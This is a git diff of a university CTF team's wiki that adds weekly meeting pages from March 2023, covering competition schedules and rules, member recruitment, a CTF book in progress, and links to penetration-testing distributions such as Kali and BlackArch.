[1] dirbuster: https://www.kali.org/tools/dirbuster/ Kali dirbuster description page, https://gitlab.com/kalilinux/packages/dirbuster GitLab dirbuster source code page

+

The writing of the book is done by my limited experience and the architecture of knowledge. The mistakes and the errors are not avoidable. If you find any of them, please feel free to contact me, very glad to have your advice. By the way, I would like to send some presents (stickers, T-shirts, or other little things) in return. Luckily, we have an online page to host the book during my writing progress. It's also fine to use GitHub's pull request to correct any mistake.

+

Enough for the book writing, now let's talk about the structure of the book in the next chapter.

+

0x5. National College Student Information Security Contest

+

The National Student Information Security Competition is a large-scale network security competition recognized by the Ministry of Education and co-organized by the Office of the Leading Group of Network Security and Informatization of the CPC Central Committee, the National Information Security Engineering and Technology Research Center, the China Internet Development Foundation, and the China Information Security Certification Center, which has been held for fifteen years so far, including Peking University, Tsinghua University, Beijing Institute of Electronic Science and Technology Beijing University of Aeronautics and Astronautics, Renmin University of China, and Fudan University all conduct special training and participation for this purpose.

+

The competition will be held in two tracks: the "Works Competition" and the "Innovation and Practice Competition". I will introduce them separately and use the 15th National Student Information Security Competition as an example to help you schedule.

+

The 15th National University Student Information Security Competition Information Security Works Competition

+

Reference link: http://117.78.33.202/competition/securityCompetition?compet_id=35

+

I. Contents of this competition

+
    +
  1. Information Security Competition
  2. +
+

The information security works competition adopts open-ended and self-designed questions, and participants must complete the works and submit them online before the deadline. The content requirements of the entries are in accordance with the relevant provisions in the Charter of the National University Student Information Security Competition and the Entry Guide of the 2022 National University Student Information Security Competition-Works Competition (which will be published through the official website of the competition at http://www.ciscn.cn/公布 after the opening of the competition).

+
    +
  1. Network Security Talent Innovation and Entrepreneurship Development Forum
  2. +
+

The Security Forum contains several thematic sections, focusing on current trends and technical hotspots of the network security industry, discussing the cultivation of network security talents and innovation and entrepreneurship of college students, and carrying out colorful keynote speeches and all-around interaction.

+

II. the object of participation

+

Participants are full-time college students with official school registration nationwide. Students can form their own teams, and each team should have no more than 4 students (including a team leader). Each team is limited to one designated instructor and each student is limited to one team. The number of teams from each university is not limited and cross-college teams are not allowed.

+

The Forum on Innovation and Entrepreneurship Development of Network Security Talents held during the final of the Information Security Competition will be open to teachers and students, enterprises, and individuals from universities nationwide.

+

III. Participation Method

+

According to the requirements of the Statute of the National University Students' Information Security Competition and the Participation Guide of the 2022 National University Students' Information Security Competition - Works Competition, please refer to the website of the competition for details.

+

IV. Timetable

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ActivitiesActivity PhaseSchedule
Information Security Competition.Registration and pre-tournament counseling.April 25-June 13.
Information Security Competition.Online submission of entries.April 30-June 15.
Information Security Competition.Preliminary List Announcement.June 18.
Information Security Competition.Online preliminary evaluation.June 25 - July 25.
Information Security Competition.Finalists announced.July 31.
Information Security Competition.Final evaluation meeting.August 19 registration, August 20 - August 21 competition.
Information Security Competition.Award ceremony.August 22nd.
Network Security Talent Forum.Call for topics and invitation of experts.April 25 - July 31.
Network Security Talent Forum.Main Forum.August 22nd.
+

V. Registration Instructions

+
    +
  1. +

    The online registration period for the Information Security Competition starts and ends on April 25, 2022, to June 13, 2022, at 24:00.

    +
  2. +
  3. +

    After receiving the notification, each university should designate one teacher as the contact person (the contact person must be the university leader) before June 1, responsible for the matters related to the competition of the university, and download the "university contact teacher registration form" (see Annex 1) on the competition website, fill in the teacher's information as required and send it to the organizing committee via email Secretariat (including the electronic version and the scanned copy of the paper version with seal).

    +
  4. +
  5. +

    The organizing committee will finish the qualification examination for the information security works competition on June 18 and announce the list of participants of the information security works competition. Before June 25, the contact person of each university shall summarize the "Summary Form of University Teams" (see Annex 2, downloaded from the competition website) and send it to the secretariat of the Organizing Committee via email (including electronic version and scanned copy of the sealed paper version). Teams participating in the Information Security Competition are required to pay the participation fee ($200 per team).

    +
  6. +
+

The 15th National Student Information Security Competition Innovation and Practical Ability Competition

+

I. Competition Organization Form

+

The competition is organized in four stages: online registration and team formation, online preliminary selection, zonal competition, and national finals. There are eight regions in China, and teams from universities in each region will advance to the national finals through the regional competition.

+

For more details and specific arrangements, please refer to the "15th National Student Competition on Information Security - Innovation and Practical Ability Competition Regulations", which will be announced through the official website of the competition (http://www.ciscn.cn/) after the competition starts.

+

II. Target Participants and Requirements

+

The target participants shall be full-time students (including senior high school, undergraduate and postgraduate students) with regular school registration in higher education institutions (undergraduate and senior high school institutions) nationwide, and the specific requirements are as follows

+

(1) The maximum number of participants in each team shall not exceed 4, the number of teams in each university shall not be limited, and no cross-college teams shall be allowed.

+

(2) Each person can only participate in one team (i.e. no team can be formed with others after individual participation, or no other team after individual participation in one team), and one instructor is allowed.

+

(3) The campuses of universities distributed in different cities are regarded as different universities, and each campus can form teams to participate and be shortlisted for the divisional finals of their divisions, as well as the finals stage.

+

(4) Instructors must be teachers in service at the universities where the teams are located. (3) Instructors can guide students in team formation and knowledge and skill training, but on-site participation must be done independently by participating students.

+

(6) The instructors are responsible for managing and guiding the participating student teams throughout the whole process, and the participation process must not violate the competition rules, attack the competition platform, system, and third-party services, or violate national laws, regulations, and public order and morals (such as team names, etc.); the organizing committee will select excellent instructors (instructors of the teams that won the national first prize and innovation single award) and give them recognition.

+

III. Competition schedule

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ActivitiesActivity PhaseSchedule
Innovation Practice Competency Competition.Registration and coaching.April 29-May 20.
Innovation Practice Competency Competition.Announcement of the preliminary competition list.Around May 24th.
Innovation Practice Competency Competition.Online preliminary rounds.May 28-29.
Innovation Practice Competency Competition.The divisional list was announced.June 3.
Innovation Practice Competency Competition.Divisional competition time.June 6-20.
Innovation Practice Competency Competition.The finals list announced.July 1.
Innovation Practice Competency Competition.The Finals.August 6-7.
+

IV. Other matters

+
    +
  1. +

    Important notices and instructions about this competition will be announced and notified by the organizing committee through the competition's official website and official QQ group.

    +
  2. +
  3. +

    The organizing committee will conscientiously implement the important speeches and instructions of General Secretary Xi Jinping on epidemic prevention and control, and if the situation of epidemic prevention and control of the new crown changes, the competition format, competition time, or content of the competition activities will be adjusted in accordance with the national and superior requirements in a timely manner. The details will be announced and notified through the competition website and official QQ group in a timely manner.

    +
  4. +
+

Wrap-up

+

We've talked about the AEG research idea about CTF this week. About the GZCTF, we've decided on the challenge categories and the data transmission rule. The new member recruiting project is ongoing, thanks for the advice for our poster. A book named "CTF From Practice to Principle" is now writing in order to give a brief idea to beginners in the CTF. At last, be sure you are prepared for the "National College Information Security Competition" as a COMPASS team.

+

Looking forward to seeing you on Sunday.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-03-09/index.html b/Meeting/CTF Week Meeting 2023-03-09/index.html new file mode 100644 index 000000000..d8ef9843e --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-03-09/index.html @@ -0,0 +1,8499 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-03-09 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-03-09

+

In the first few weeks of the school year, our offline training is on schedule and we have recently been working on the training content with our Hunan University students. The recruitment program is also underway and more new students will be joining us soon. We still want to thank COMPASS Lab for the great support and hope that students will join COMPASS Lab in an excellent environment for innovative experiments and graduate students' choices.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 90%
  2. +
  3. Topic: CTF combined with research - 20%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 55%
  8. +
  9. Wiki page content adjustment - 60%
  10. +
  11. CTFtime program: play CTF and share - 19%
  12. +
  13. New Member Recruitment - 37.5%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 33%
  18. +
  19. CTF from Practice to Principle - 3%
  20. +
  21. National College Student Information Security Contest - 10%
  22. +
+

What we discussed this week

+
    +
  1. COMPASS CTF 2022.
  2. +
  3. Wiki page content adjustment.
  4. +
  5. New Member Recruitment.
  6. +
  7. Upcoming Events.
  8. +
+

0x1. COMPASS CTF 2022

+

All of our prizes have been customized and we are about to complete the final awarding part of this competition.

+

coat

+

I hope everyone learned and made progress in this competition. Most importantly, I hope all the participants enjoyed the competition!

+

0x2. Wiki page content adjustment

+

I'm updating the wiki's toolkit directory, uploading all the tools I've used recently, and merging several toolset sites for inclusion. For beginners, you can use the toolset directly to build your environment quickly.

+
+

Windows10 Penetration Suite Toolkit within Kali Linux

+
System Description
+

Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).

+

Complete installation of WSL Kali Linux 2022.3.

+

streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.

+

using single-disk file storage to improve performance.

+

Recommended runtime environment:

+
    +
  • vmware:16.x (VMware graphics memory 1G)
  • +
  • Running memory:8G
  • +
  • Solid State Drive:200G
  • +
+ +

https://github.com/makoto56/penetration-suite-toolkit

+

Kali Linux

+

The most advanced Penetration Testing Distribution

+

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.

+

The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.

+ +

https://www.kali.org/

+

https://www.kali.org/tools

+

Black Arch Linux

+
About
+

BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.

+

Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.

+

The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.

+ +

https://blackarch.org/

+
+

In addition, the tutorial section of the basic content has been uploaded to the wiki page, and you can now view the basic training section which is being updated, and later I will also update our new topic practice and tournament contact page to the home page.

+

https://wiki.compass.college/CTF/CTF%20and%20Hacker%20Attitude/

+

https://wiki.compass.college/CTF/Linux%20Basics/

+

https://wiki.compass.college/CTF/Python_1/

+

https://wiki.compass.college/CTF/Python_2/

+

0x3. New Member Recruitment

+

计算机科学与技术系COMPASS实验室有关计算机安全与网络安全培训的邀请函

+

同学们好,

+

为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用,计算机科学与技术系计算机系统安全实验室(COMPASS lab)与网络安全竞赛校队(COMPASS CTF)邀请同学们参加本科生计算机安全基础技能培训网络安全队伍成员招募活动。

+

计算机安全基础技能培训将在线上进行,内容包括: + \1. 什么是网络安全与黑客精神;

+

\2. Linux系OS的安装与使用;

+

\3. Python编程基础:数学、网络、与图像处理;

+

\4. 密码学基础与Sagemath教学;

+

\5. 计算机网络基础与Burp Suite分析网络包;

+

\6. 文件格式教程与十六进制编辑器;

+

\7. IDA进行ELF/PE可执行文件逆向工程;

+

\8. 二进制漏洞利用基础;

+

\9. Docker容器安全与容器管理;

+

\10. 更多内容正在补充……

+

加入SUSTech CTF & Infosec 爱好者联盟群组获取有关活动的更多信息:787427165。二维码图片如下。

+

每周日下午14:00-18:00将会在工学院南楼551会议室进行校队成员进阶训练,同样欢迎爱好者参与学习。

+

本周日晚20:00-21:00将进行线上活动宣传会议,将在腾讯会议进行:448-489-4504,或使用链接直接进入会议: https://meeting.tencent.com/p/4484894504 。

+

欢迎同学们通过朋友圈、QQ空间等方式进行内容分享及转发,支持大家的宣传协助,发送朋友圈/说说/其他推广可在周日线下训练现场领取可可爱爱小贴纸一份,点赞数超过50可以额外获得64GB渗透工具包U盘一份作为礼品。宣传海报如下。

+

相关链接:

+

\1. COMPASS实验室官方网站: https://compass.sustech.edu.cn/ ;

+

\2. COMPASS CTF校队Wiki: https://wiki.compass.college/ ;

+

\3. COMPASS CTF线上题目练习平台: http://detroit.sustech.edu.cn/ (校外访问) / http://116.7.234.225/ (校内访问);

+

\4. COMPASS CTF线上赛事平台: http://detroit.sustech.edu.cn:29998/ (校外访问) / http://116.7.234.225:29998/ (校内访问);

+

祝大家学有所成,共同进步。

+

计算机系统与安全实验室,COMPASS CTF网络安全竞赛队伍

+

李照

+

poster

+

These are the emails that will be sent to all undergraduates, and we are currently fighting with the compasslab email service that sends mass emails, so you will receive similar emails later.

+

We will start our first online presentation this weekend at 20:00, and we will also record and archive the presentation for later viewing. The content of this event is: CTF introductory guide and hacking spirit.

+

0x4. Upcoming Events

+

https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495188&idx=1&sn=9883d07a787f36a7de1ce164a5a280af&chksm=c1d9ae4df6ae275b4530724a2ba1ce0524863cc62b26f25bc9c06d1ad74d8430f1b664140086&mpshare=1&scene=23&srcid=0306DosSvZInXqEwrQStS4vj&sharer_sharetime=1678109644023&sharer_shareid=e090099e1f84145c26d4ec5fa4a73e51#rd

+

https://mp.weixin.qq.com/s/7OKn0HDs6E90TyfQJfjNeA

+

Wrap-up

+

We discussed the wiki page adjustments and the recruitment of newcomers, and the COMPASS CTF 2022 awards will be given out this week. This week's events include the 2023 Digital China Innovation Competition - Digital Talent track, and everyone is invited to participate.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-03-16/index.html b/Meeting/CTF Week Meeting 2023-03-16/index.html new file mode 100644 index 000000000..d0a68aa07 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-03-16/index.html @@ -0,0 +1,8541 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-03-16 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-03-16

+

This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 100%
  2. +
  3. Topic: CTF combined with research - 20%
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. New Platform GZCTF - 55%
  8. +
  9. Wiki page content adjustment - 60%
  10. +
  11. CTFtime program: play CTF and share - 20%
  12. +
  13. New Member Recruitment - 50%
  14. +
  15. Ande Cup CTF game - 13%
  16. +
  17. Remedial content session - 45%
  18. +
  19. CTF from Practice to Principle - 3%
  20. +
  21. National College Student Information Security Contest - 10%
  22. +
  23. Wangding Cup Semi-Final Competition - 20%
  24. +
  25. Wangding Cup & Guangdong CTF & AI Mid-Exam Time Conflict - 0% brief idea
  26. +
  27. Discussions with Other Universities about National College Student Information Software Competition - 0% brief idea
  28. +
+

What we discussed this week

+
    +
  1. Wangding Cup Semi-Final Competition.
  2. +
  3. New Member Recruitment.
  4. +
  5. Competition and Events.
  6. +
+

0x1. Wangding Cup Semi-Final Competition

+
+

https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA

+
+

【公告】第三届“网鼎杯”网络安全大赛半决赛、总决赛赛制介绍

+

依照《2022第三届“网鼎杯”网络安全大赛规则》,半决赛及总决赛采用多种赛制融合的竞赛模式,时长均为8小时,半决赛比赛时间为4月14日10:00-18:00,总决赛比赛时间为4月15日9:00-17:00。

+

半决赛各分组内排名前12的战队,以及在剩余战队中总积分靠前的2支战队,共计50支晋级总决赛。总决赛不再分组,按照比赛得分由高至低确认最终排名。

+

一、半决赛赛制

+

半决赛采用“共同防御+实景防御(RDG)+人工智能漏洞挖掘(RHG)+突破+云境靶场挑战”等多种赛制相融合的竞技方式。

+

其中“共同防御”场景中新增“情报共享平台”,借鉴网络攻击的热点事件设计场景,参与演练的各界参赛选手协同联动,共同应对网络安全威胁。

+

(参考原文)

+

二、总决赛赛制

+

总决赛依旧采用多种赛制相融合的竞技方式,晋级选手将不再分组,各队选手共同角逐网鼎杯最高荣誉。

+

(参考原文)

+

三、积分模式

+

半决赛和总决赛积分模式如下:

+

(参考原文)

+

四、其他规则

+
    +
  1. +

    比赛当天所有参赛选手需持身份证原件到达比赛现场,迟到超半小时禁止入场。

    +
  2. +
  3. +

    裁判有权根据现场情况对违规、违纪战队进行减分处理。

    +
  4. +
  5. +

    比赛过程中请随时关注答题页面的公告栏,所有执行规则及判罚以最新公告为准。

    +
  6. +
  7. +

    比赛过程中对平台或题目有问题,可以在答题页面端点击“呼叫裁判”按钮反馈问题,请描述清楚遇到的问题,否则可能影响应答效率。禁止随意在场内走动。

    +
  8. +
  9. +

    为维护现场秩序,避免跨战队交流,去洗手间请举手示意,经过工作人员确认后可以凭申请人参赛证从相应出口有秩序去洗手间。

    +
  10. +
+

第三届“网鼎杯”网络安全大赛组委会

+

2023年3月

+

0x2. New Member Recruitment

+

The recruitment pattern for new members this semester is

+
    +
  1. +

    three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.

    +
  2. +
  3. +

    a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.

    +
  4. +
+

The number of new members recruited this semester is about 5.

+

0x3. Competition and Events

+

数字中国·数据安全产业解决方案创新赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:https://www.dcic-china.com/competitions/10078

+
比赛时间
+

线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。

+

数字中国·数据安全产业人才能力挑战赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:暂无

+
比赛时间
+

线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00

+

线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。

+

Wrap-up

+

This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-03-23/index.html b/Meeting/CTF Week Meeting 2023-03-23/index.html new file mode 100644 index 000000000..7ea2312a7 --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-03-23/index.html @@ -0,0 +1,8556 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-03-23 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-03-23

+

I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 20%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 60%
  8. +
  9. CTFtime program: play CTF and share - 23%
  10. +
  11. New Member Recruitment - 50%
  12. +
  13. Ande Cup CTF game - 13%
  14. +
  15. Remedial content session - 54%
  16. +
  17. CTF from Practice to Principle - 3%
  18. +
  19. National College Student Information Security Contest - 20%
  20. +
  21. Wangding Cup Semi-Final Competition - 50%
  22. +
  23. Wangding Cup & Guangdong CTF & AI Mid-Exam Time Conflict - 10%
  24. +
  25. Discussions with Other Universities about National College Student Information Software Competition - 5%
  26. +
+

What we discussed this week

+
    +
  1. Wangding Cup & Guangdong CTF & AI Mid-Exam Time Conflict.
  2. +
  3. Remedial content session.
  4. +
  5. Competition and Events.
  6. +
+

0x1. Wangding Cup Semi-Final Competition

+
+

https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA

+
+

【公告】第三届“网鼎杯”网络安全大赛半决赛、总决赛赛制介绍

+

依照《2022第三届“网鼎杯”网络安全大赛规则》,半决赛及总决赛采用多种赛制融合的竞赛模式,时长均为8小时,半决赛比赛时间为4月14日10:00-18:00,总决赛比赛时间为4月15日9:00-17:00。

+

半决赛各分组内排名前12的战队,以及在剩余战队中总积分靠前的2支战队,共计50支晋级总决赛。总决赛不再分组,按照比赛得分由高至低确认最终排名。

+

一、半决赛赛制

+

半决赛采用“共同防御+实景防御(RDG)+人工智能漏洞挖掘(RHG)+突破+云境靶场挑战”等多种赛制相融合的竞技方式。

+

其中“共同防御”场景中新增“情报共享平台”,借鉴网络攻击的热点事件设计场景,参与演练的各界参赛选手协同联动,共同应对网络安全威胁。

+

(参考原文)

+

二、总决赛赛制

+

总决赛依旧采用多种赛制相融合的竞技方式,晋级选手将不再分组,各队选手共同角逐网鼎杯最高荣誉。

+

(参考原文)

+

三、积分模式

+

半决赛和总决赛积分模式如下:

+

(参考原文)

+

四、其他规则

+
    +
  1. +

    比赛当天所有参赛选手需持身份证原件到达比赛现场,迟到超半小时禁止入场。

    +
  2. +
  3. +

    裁判有权根据现场情况对违规、违纪战队进行减分处理。

    +
  4. +
  5. +

    比赛过程中请随时关注答题页面的公告栏,所有执行规则及判罚以最新公告为准。

    +
  6. +
  7. +

    比赛过程中对平台或题目有问题,可以在答题页面端点击“呼叫裁判”按钮反馈问题,请描述清楚遇到的问题,否则可能影响应答效率。禁止随意在场内走动。

    +
  8. +
  9. +

    为维护现场秩序,避免跨战队交流,去洗手间请举手示意,经过工作人员确认后可以凭申请人参赛证从相应出口有秩序去洗手间。

    +
  10. +
+

第三届“网鼎杯”网络安全大赛组委会

+

2023年3月

+

0x2. New Member Recruitment

+

The recruitment pattern for new members this semester is

+
    +
  1. +

    three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.

    +
  2. +
  3. +

    a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.

    +
  4. +
+

The number of new members recruited this semester is about 5.

+

The basics and tutorials are posted on our wiki page currently. More contents are under design.

+ +

0x3. Competition and Events

+

数字中国·数据安全产业解决方案创新赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:https://www.dcic-china.com/competitions/10078

+
比赛时间
+

线上赛时间:2023-03-27 00:00:00 - 2023-04-07 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

创新赛采用公开式竞赛,围绕数据安全治理,参赛单位提交实践案例。赛事分预赛和决赛。预赛阶段专家组评委将采取远程登录或本地安装的方式运行参赛作品,依据赛事专家制定的比赛评审标准进行打分,根据得分排名确定决赛名单。决赛采用答辩的形式,由赛事专家组对预赛入围方案进行评审。

+

数字中国·数据安全产业人才能力挑战赛(初赛)

+

本赛道以切实解決数据安全产业发展中的实际问题为目标.有力推动数据安全产业发展,发挥数据安全技术创新、成果转化、人才培养等典型示范带动作用、推广优秀经验和成果,助力我国数据安全产业发展。

+
比赛链接
+

官方比赛链接地址:暂无

+
比赛时间
+

线上赛报名:2023-03-06 00:00:00 - 2023-03-22 00:00:00

+

线上赛时间:2023-04-01 00:00:00 - 2023-04-01 00:00:00

+
赛事机构
+

本次比赛主办方:福建省通信管理局

+

指导单位:数字中国建设峰会组委会

+

承办单位:中国电子信息产业发展研究院、中国软件评测中心、工业和信息化部教育与考试中心

+

协办单位:中国计算机行业协会数据安全专业委员会、北京永信至诚科技股份有限公司

+

支持单位:蚂蚁集团、中孚信息股份有限公司、360数字安全科技集团有限公司、北京长亭科技有限公司、腾讯云计算(北京)有限责任公司、远江盛邦(北京)网络安全科技股份有限公司、北京众安天下科技有限公司、北京时代新威信息技术有限公司

+
比赛形式
+

由理论知识和技能操作两部分组成。理论部分涵盖政策法规和数据安全基础知识;技能操作部分涵盖数据识别、权限控制、脆弱性分析等方向,综合考察参赛者不同维度的数据安全能力水平。

+

【安恒信息】亲爱的参赛选手,您好!您报名的“2023数字中国创新大赛-数字网络安全人才挑战赛”将于2023年3月24日进行,请您按时参加。 +比赛地址:https://szzg2023.dasctf.com +比赛账号:aq#报名的手机号后七位 +比赛密码:Das#手机号后四位,如:Das#1234 +比赛时间:下午13:00-17:00 +注意事项:推荐使用Chrome或火狐浏览器,并设置允许弹出窗口。

+

Wrap-up

+

Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-03-30/index.html b/Meeting/CTF Week Meeting 2023-03-30/index.html new file mode 100644 index 000000000..28cf9811a --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-03-30/index.html @@ -0,0 +1,8567 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-03-30 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-03-30

+

I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).

+

Work progress tracking

+
    +
  1. Topic: CTF combined with research - 20%
  2. +
  3. Multi-platform promotion of COMPASS CTF - 20%
  4. +
  5. New Platform GZCTF - 55%
  6. +
  7. Wiki page content adjustment - 60%
  8. +
  9. CTFtime program: play CTF and share - 23%
  10. +
  11. New Member Recruitment - 50%
  12. +
  13. Ande Cup CTF game - 13%
  14. +
  15. Remedial content session - 63%
  16. +
  17. CTF from Practice to Principle - 3%
  18. +
  19. National College Student Information Security Contest - 20%
  20. +
  21. Wangding Cup Semi-Final Competition - 50%
  22. +
  23. Discussions with Other Universities about National College Student Information Software Competition - 5%
  24. +
+

What we discussed this week

+
    +
  1. Exercise about the National Competition.
  2. +
  3. Remedial content session.
  4. +
  5. Competition and Events.
  6. +
+

0x1. National College Student Information Security Contest

+
+

http://117.78.33.202/

+
+

第十五届全国大学生信息安全竞赛创新实践能力赛

+

赛事介绍:

+

